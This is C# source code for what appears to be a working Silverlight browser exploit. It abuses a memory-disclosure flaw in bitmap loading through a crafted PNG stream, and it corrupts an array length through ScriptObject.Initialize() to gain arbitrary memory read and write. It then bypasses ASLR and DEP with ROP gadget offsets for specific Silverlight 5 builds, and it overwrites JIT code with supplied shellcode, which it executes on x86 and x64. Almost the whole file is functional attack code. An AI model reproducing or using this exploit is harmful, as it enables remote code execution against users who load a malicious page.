using System; using System.Windows; using System.Windows.Controls; using System.Windows.Documents; using System.IO; using System.Windows.Media.Imaging; using System.Resources; namespace SilverApp1 { // declare custom MemoryStream w/ malicious Read() public class MyStream : MemoryStream { // raw PNG image data w/o PLTE chunk data // not the shellcode :) static byte[] pngStart = { 0x89,0x50,0x4E,0x47,0x0D,0x0A,0x1A,0x0A, // PNG header 0,0,0,0x0D,0x49,0x48,0x44,0x52,0,0,0,0x08,0,0,0,0x04,0x08,0x03,0,0,0,0x84,0x13,0x8E,0xC2, // IHDR chunk 0,0,0x03,0,0x50,0x4C,0x54,0x45 // PLTE chunk header }; static byte[] pngEnd = { 0,0,0,0, // PLTE chunk checksum can be 0 0,0,0,0x2F,0x49,0x44,0x41,0x54,0x78,0xDA,0x01,0x24,0,0xDB,0xFF,0,0,0x01,0x02,0x03,0x04,0x05,0x06,0x07,0,0x08,0x09,0x0A,0x0B,0x0C,0x0D, 0x0E,0x0F,0,0x10,0x11,0x12,0x13,0x14,0x15,0x16,0x17,0,0x18,0x19,0x1A,0x1B,0x1C,0x1D,0x1E,0x1F,0x17,0x1C,0x01,0xF1,0x7D,0xBE,0xC7,0x66, // IDAT chunk 0,0,0,0,0x49,0x45,0x4E,0x44,0xAE,0x42,0x60,0x82 // IEND chunk }; Object[] obj; public byte[] png; public int offs; // create Stream basing on pngStart[] public MyStream() : base(pngStart) { } int ReadBuf(byte[] buffer, int offset, int count) { // calc true PNG image length int res = pngStart.Length + 0x300 + pngEnd.Length; base.Read(buffer, offset, count); // (count = buffer.Length) < res MainPage.LogAdd("MyStream.Read(["+buffer.Length+"],"+offset+","+count+") = " + res); return res; } // override Read() public override int Read(byte[] buffer, int offset, int count) { // allocate arrays sequentially in memory int len = pngEnd.Length; obj = new object[] { null, null }; // as PLTE data png = new byte[0x300 + len - offs]; // as rest PNG data MainPage.buf = new uint[3]; // the target array for memory corruption MainPage.obj = new object[3]; // aux array // copy the trail PNG data Array.Copy(pngEnd, 0, png, png.Length-len, len); // save pointers in PLTE data obj[0] = png; obj[1] = MainPage.buf; // return "bytes read" > "count" to trigger the memory disclosure return ReadBuf(buffer, offset, count); } } // declare descendant for System.Windows.Browser.ScriptObject to access vulnerable protected Initialize() public class MyObject : System.Windows.Browser.HtmlObject { public MyObject() : base() { } // access protected Initialize() public void Init(IntPtr handle) { MainPage.LogAdd("ScriptObject.Initialize(" + MainPage.Hex((ulong)handle) + ", 1, true, false)"); Initialize(handle, (IntPtr)1, true, false); // call agcore.dll DOM_ReferenceObject() } } public partial class MainPage : UserControl { public static RichTextBox tbox; public static uint[] buf; public static ulong bufAddr; public static object[] obj; public static bool is64; public static Version vsn; public static byte[] payload; public MainPage(System.Collections.Generic.IDictionary iDictionary) { #if DEBUG InitializeComponent(); tbox = richTxtBox; #endif // print environment info vsn = Environment.Version; LogAdd("Silverlight: " + vsn.ToString() + "\n" + "OS: " + Environment.OSVersion.ToString()); payload = Convert.FromBase64String(iDictionary["payload"]); LogAdd(String.Format("Payload decoded length: {0}", payload.Length)); #if !DEBUG //TODO: First try doesn't overwritte Payload(), need to dig why, should... exploit(); exploit(); #endif } // prints message into richTextBox public static void LogAdd(string txt) { #if DEBUG Paragraph p = new Paragraph(); p.Inlines.Add(txt); tbox.Blocks.Add(p); #endif } public static void LogAdd(object obj) { #if DEBUG LogAdd(obj == null ? "null" : obj.ToString()); #endif } // converts int to hex string public static string Hex(int u) { return u <= 9 ? u.ToString() : "0x" + u.ToString("X"); } public static string Hex(ulong u) { return u <= 9 ? u.ToString() : "0x" + u.ToString("X"); } // reads pointer from byte[] public static ulong ReadAddr(byte[] b, int offs) { ulong u = 0; for(int i=offs, j=0; i < offs + (is64 ? 8:4); i++, j+=8) u += ((ulong)b[i]) << j; return u; } // writes pointer into byte[] public static void WriteAddr(byte[] b, int offs, ulong u) { for (int i = offs; i < offs + (is64 ? 8:4); i++, u >>= 8) b[i] = (byte)(u & 0xff); } // exploits memory disclosure in BitmapSource.SetSourceInternal() ulong MemoryDiscl() { try { // prepare malicious MemoryStream MyStream ms = new MyStream(); // create image based on stream data and data "outside" the stream BitmapImage bi = new BitmapImage(); ms.offs = 39; // set offset for 32 bit environment bi.SetSource(ms); // call the vulnerable SetSourceInternal() // check png data parsing results is64 = bi.PixelWidth == 0 || bi.PixelHeight == 0; if (is64) { // error, ok lets try again with the offset for 64 bit ms.offs = 79; bi.SetSource(ms); } // check png data parsing results if (bi.PixelWidth == 0 || bi.PixelHeight == 0) throw new Exception("Bad PNG data"); // error png parsing // ok, now we should pass the diclosed memory into WriteableBitmap to access it as RGB pixel data WriteableBitmap wb = new WriteableBitmap(bi); LogAdd(wb); // read pixels from image int[] p = wb.Pixels; int len = p.Length; LogAdd(String.Format("pixels available to read: {0}", len)); string s = " "; for (int i = 0; i < len; i++) { s = p[i].ToString("X").Substring(2); LogAdd(String.Format("pixel[{0}] = {1}", i, s)); } // convert int[] to byte[] byte[] b = new byte[len * 3]; int k; for (int i = is64 ? 5:2, j=0; i < len; i++, j+=3) { k = p[i] & 0xffffff; b[j + 2] = (byte)(k & 0xff); k >>= 8; b[j + 1] = (byte)(k & 0xff); k >>= 8; b[j + 0] = (byte)(k & 0xff); k >>= 8; } // parse memory addresses from b[] ulong hMod = ReadAddr(b, is64 ? 0:1); // type pointer for obj[] // we'll need it for mscorlib.ni.dll image base calculation for the ASLR bypass ulong addr1 = ReadAddr(b, is64 ? 24:13); // obj[0] = address of png[] bufAddr = ReadAddr(b, is64 ? 32:17); // obj[1] = address of MainPage.inst.buf[] LogAdd("obj[] type = " + Hex(hMod) + ", png[] address = " + Hex(addr1) + ", buf[] address = " + Hex(bufAddr)); // calc the ROP offset inside mscorlib.ni.dll // * x86 // 7997526b 83493440 or dword ptr [ecx+34h],40h // 7997526f b801000000 mov eax,1 // 79975274 c20400 ret 4 // * x64 // 000007fe`f03e19d0 895168 mov dword ptr [rcx+68h],edx // 000007fe`f03e19d3 c3 ret if (Environment.OSVersion.Platform != PlatformID.Win32NT) throw new Exception("Sorry, but the further code works for Windows only."); ulong rop = 0; if (vsn.Major == 5 && vsn.Build == 10411) { rop = (hMod & 0xffffffffffff0000) - (ulong)(is64 ? 0x670000 - 0x4519D0 : 0x470000 - 0x2A526B); } else if (vsn.Major == 5 && vsn.Build == 61118) { rop = (hMod & 0xffffffffffff0000) - (ulong)(is64 ? 0x670000 - 0x4519D0 : 0x470000 - 0x2A520F); } if (rop == 0) throw new Exception("Sorry, but the further code works for vulnerable 5 builds only."); // calc object pointer offset inside png2[] ulong addr2 = bufAddr - (ulong)(is64 ? 96:45); k = (int)(addr2 - addr1) - (is64 ? 16:8); // write vtable pointer WriteAddr(ms.png, k, addr2); // write address of ROP gadget WriteAddr(ms.png, k + (is64 ? 8:4), rop); // ok, return the pointer for ScriptObject.Initialize() exploitation return addr2; } catch (Exception ex) { LogAdd("Error: " + ex.ToString()); } return 0; } class ShellHelper32 : Random { // x32 shellcode uint[] payload; // PreCondition : arr.Lenth % 4 == 0 public virtual void SetPayload(byte[] arr) { payload = new uint[arr.Length / 4]; for (int i = 0, k = 0; i < arr.Length; i += 4, k += 1) { payload[k] = BitConverter.ToUInt32(arr, i); } } // read uint from memory address uint Get(uint addr) { if (addr > 0x10000) return buf[(addr - (uint)bufAddr - 8) >> 2]; else return 0; } // write uint into memory address void Set(uint addr, uint val) { if (addr > 0x10000) buf[(addr - (uint)bufAddr - 8) >> 2] = val; } // exchange two uint arrays void Exchange(uint addr, uint[] arr) { uint u; int len = arr.Length; for (int i=0; i < len; i++, addr += 4) { u = Get(addr); Set(addr, arr[i]); arr[i] = u; } } // declare virtual function for the further DEP bypass public virtual int Payload() { // generate dummy JIT-code if (this == null) LogAdd(ToString()); if (this == null) LogAdd(ToString()); if (this == null) LogAdd(ToString()); if (this == null) LogAdd(ToString()); if (this == null) LogAdd(ToString()); LogAdd("Payload() hit!"); return 0; } public virtual void Exec(int oldLen) { try { // generate JIT-code for Payload() Payload(); // save pointers within obj[] array after buf[] obj[0] = buf; obj[1] = this; // find obj[] array and "this" pointer after buf[] uint addr = 0; for (int i = 2; i < 64; i++) if (buf[i] == (uint)bufAddr) { addr = buf[i+1]; break; } if (addr == 0) throw new Exception("Can't find obj[]"); // get (this.type + 2c) -> (vtable + 8) -> Payload() address addr = Get(Get(Get(addr) + 0x2c) + 8); //for (uint i = 0; i < 16; i++) LogAdd(Hex(Get(addr + i*4))); // for RnD LogAdd("Payload() address = " + Hex(addr)); if (addr == 0) throw new Exception("Can't find Payload() address"); // copy payload over JIT-code memory addr -= addr % 4; Exchange(addr, payload); uint contents = Get(addr); LogAdd("Payload() Address " + Hex(addr) + ", Contents: " + Hex(contents)); LogAdd("Executing payload..."); // exec payload int res = Payload(); // restore JIT memory //Exchange(addr, payload); LogAdd("Payload() returns " + Hex(res)); } catch (Exception ex) { LogAdd("Error: " + ex.ToString()); } // restore buf[] length buf[0x40000000-1] = (uint)oldLen; LogAdd("buf.Length = " + Hex(buf.Length)); } } class ShellHelper64 : ShellHelper32 { // x64 shellcode byte[] payload; public override void SetPayload(byte[] arr) { payload = new byte[arr.Length]; for (int i = 0; i < arr.Length; i += 1) { payload[i] = arr[i]; } } UnmanagedMemoryStream ums; ulong umsAddr; byte[] bb; // read ulong from x64 memory address ulong Get(ulong addr) { if (addr < 0x10000) return 0; addr = (addr - bufAddr - 8) >> 2; return ((ulong)buf[addr+1] << 32) + buf[addr]; } // write ulong into x64 memory address void Set(ulong addr, ulong val) { if (addr < 0x10000) return; addr = (addr - bufAddr - 8) >> 2; buf[addr] = (uint)val; buf[addr+1] = (uint)(val >> 32); } // read ulong from x64 memory address using ums ulong Read(ulong addr) { if (addr < 0x10000) return 0; // set ums._mem pointer Set(umsAddr + 8, addr); // read ulong from ums ums.Position = 0; ums.Read(bb, 0, 8); return ReadAddr(bb, 0); } // write ulong into x64 memory address using ums void Write(ulong addr, ulong val) { if (addr < 0x10000) return; // set ums._mem pointer Set(umsAddr + 8, addr); // write ulong into ums ums.Position = 0; WriteAddr(bb, 0, val); ums.Write(bb, 0, 8); } // exchange two byte[] arrays void Exchange(ulong addr, byte[] arr) { int len = arr.Length; byte[] b = (byte[])arr.Clone(); // set ums._mem pointer Set(umsAddr + 8, addr); // read byte[] from ums ums.Position = 0; ums.Read(arr, 0, len); // write byte[] into ums ums.Position = 0; ums.Write(b, 0, len); } public override void Exec(int oldLen) { try { // generate JIT-code for Payload() Payload(); // create UnmanagedMemoryStream ResourceManager rm = new ResourceManager("System.Windows.g", typeof(Control).Assembly); ums = rm.GetStream("themes/generic.xaml"); LogAdd(ums); if (ums == null) throw new Exception("Can't find themes/generic.xaml"); // save pointers within obj[] array after buf[] obj[0] = buf; obj[1] = this; obj[2] = ums; // find obj[] array after buf[] ulong addr = 0; for (int i = 3; i < 64; i++) if (buf[i] == (uint)bufAddr) { addr = ((ulong)buf[i+3] << 32) + buf[i+2]; umsAddr = ((ulong)buf[i+5] << 32) + buf[i+4]; // ensure that ums was allocated after buf[] for (int j = 0; j < 100 && bufAddr > umsAddr; j++) { ums = rm.GetStream("themes/generic.xaml"); obj[2] = ums; umsAddr = ((ulong)buf[i+5] << 32) + buf[i+4]; } break; } if (addr == 0) throw new Exception("Can't find obj[]"); LogAdd("ums address = " + Hex(umsAddr)); if (bufAddr > umsAddr) throw new Exception("Can't allocate ums after buf[]"); //for (uint i = 0; i < 10; i++) LogAdd(Hex(Get(umsAddr+i*8))); // for RnD // set ums._access private field to FileAccess.ReadWrite = 3 Set(umsAddr + 6*8, 0x300000003); LogAdd("ums.Length = " + ums.Length + ", CanRead = " + ums.CanRead + ", CanWrite = " + ums.CanWrite + ", CanSeek = " + ums.CanSeek); if (!ums.CanRead || !ums.CanWrite) throw new Exception("Can't access ums"); // ok, we have UnmanagedMemoryStream with controlable private fields, // so we can set any custom ums._mem pointer and read/write data starting from this pointer // get (this.type + 72) -> (vtable + 16) -> Payload() address bb = new byte[8]; addr = Read(Read(Read(addr) + 9*8) + 16); //for (uint i = 0; i < 16; i++) LogAdd(Hex(Read(addr + i*8))); // for RnD LogAdd("Payload() address = " + Hex(addr)); if (addr == 0) throw new Exception("Can't find Payload() address"); // copy payload over JIT-code memory Exchange(addr, payload); // exec payload int res = Payload(); // restore JIT memory //Exchange(addr, payload); LogAdd("Payload() returns " + Hex(res)); } catch (Exception ex) { LogAdd("Error: " + ex.ToString()); } // restore buf[] length if (bb != null) { Write(bufAddr + 8, (ulong)oldLen); LogAdd("buf.Length = " + Hex(buf.Length)); } } } void exploit() { try { LogAdd("------------ START ------------"); // prepare pointer for ScriptObject.Initialize() ulong h = MemoryDiscl(); LogAdd("handle = " + Hex(h)); if (h == 0) throw new Exception("Something is wrong with the memory disclosure"); // save old length int oldLen = buf.Length; LogAdd("buf.Length = " + Hex(oldLen)); // call ScriptObject.Initialize() and cause the buf.Length corruption MyObject mo = new MyObject(); mo.Init((IntPtr)h); // call agcore.dll DOM_ReferenceObject(h) // check results int len = buf.Length; LogAdd("buf.Length = " + Hex(len)); if (len == oldLen) throw new Exception("Something is wrong with buf.Length"); // ok, now we have an uint[] array with Length > 0x40000000, so we can read/write arbitrary memory addresses on x32, // but this is not allways enough for x64. So for 64-bit we have to use different technique to gain the true "god mode". ShellHelper32 sh; if (is64) { sh = new ShellHelper64(); sh.SetPayload(payload); } else { sh = new ShellHelper32(); sh.SetPayload(payload); } // execute payload sh.Exec(oldLen); LogAdd("------------ END ------------"); } catch (Exception ex) { LogAdd("Error: " + ex.ToString()); } } void btnClickMe_Click(object sender, RoutedEventArgs e) { #if DEBUG exploit(); #endif } } }